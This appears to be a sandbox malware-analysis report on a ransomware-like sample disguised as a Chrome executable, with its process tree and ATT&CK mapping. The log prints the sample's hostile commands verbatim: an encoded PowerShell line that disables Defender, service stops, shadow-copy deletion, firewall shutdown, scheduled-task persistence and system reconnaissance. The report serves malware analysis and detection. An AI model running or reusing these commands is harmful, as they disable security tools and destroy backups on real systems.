PID 5300 wrote to memory of 5576	5300	pixelio.io_chrome.exe	153
PID 5192 wrote to memory of 2388	5192	cmd.exe	169
PID 3156 wrote to memory of 4976	3156	cmd.exe	160
PID 1940 wrote to memory of 4408	1940	cmd.exe	161
PID 1736 wrote to memory of 5440	1736	cmd.exe	162
PID 5184 wrote to memory of 2428	5184	net.exe	163
PID 1240 wrote to memory of 3620	1240	cmd.exe	164
PID 384 wrote to memory of 4384	384	cmd.exe	165
PID 4752 wrote to memory of 5992	4752	cmd.exe	166
PID 5992 wrote to memory of 2804	5992	net.exe	167
PID 1940 wrote to memory of 4940	1940	cmd.exe	168
PID 3192 wrote to memory of 3972	3192	chrome.exe	170
PID 3192 wrote to memory of 2372	3192	chrome.exe	171
PID 3192 wrote to memory of 2372	3192	chrome.exe	171
PID 3192 wrote to memory of 2876	3192	chrome.exe	173
PID 3192 wrote to memory of 2876	3192	chrome.exe	173

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5300
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://pixelio.io
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3192
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9dbe4dcf8,0x7ff9dbe4dd04,0x7ff9dbe4dd10
    3⤵
    PID:6000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=1944,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=1940 /prefetch:2
    3⤵
    PID:2308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1348,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=2228 /prefetch:11
    3⤵
    PID:2408
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2340,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=2356 /prefetch:13
    3⤵
    PID:2816
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3008,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=3164 /prefetch:1
    3⤵
    PID:3640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3004,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=3144 /prefetch:1
    3⤵
    PID:2260
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4128,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=4176 /prefetch:9
    3⤵
    PID:5608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4588,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=4628 /prefetch:1
    3⤵
    PID:6008
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=5276,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=5288 /prefetch:14
    3⤵
    PID:3972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4880,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=4860 /prefetch:14
    3⤵
    PID:2372
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4788,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=4816 /prefetch:14
    3⤵
    PID:2876
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5420,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=5424 /prefetch:14
    3⤵
    PID:780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5280,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=4860 /prefetch:14
    3⤵
    PID:2248
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5444,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=4916 /prefetch:14
    3⤵
    PID:6072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5576,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=5564 /prefetch:14
    3⤵
    PID:5172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5336,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=5464 /prefetch:14
    3⤵
    PID:5164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5384,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=5284 /prefetch:14
    3⤵
    PID:564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=4264,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=212 /prefetch:9
    3⤵
    PID:1520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=5504,i,5921292619868335764,16357686892854781112,262144 --variations-seed-version=20250610-180047.803000 --mojo-platform-channel-handle=4268 /prefetch:10
    3⤵
    PID:776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1676
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:2828
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2184
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2536
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:2100
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4968
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5080
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:5052
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4916
- - C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe"
    3⤵
    PID:856
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5792
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1988
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4084
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:5748
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2804
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5712
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:1892
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1940
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4408
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:4940
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:5440
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3156
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:4976
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5192
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:2388
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5992
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:2804
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:384
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4384
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1240
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3620
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3804
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3956
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:3132
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:5744
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5184
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:2428
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5048
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5976
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:5576

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:3324

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:740

C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe
1⤵
PID:4896

C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pixelio.io_chrome.exe
1⤵
PID:5612

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:2388

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery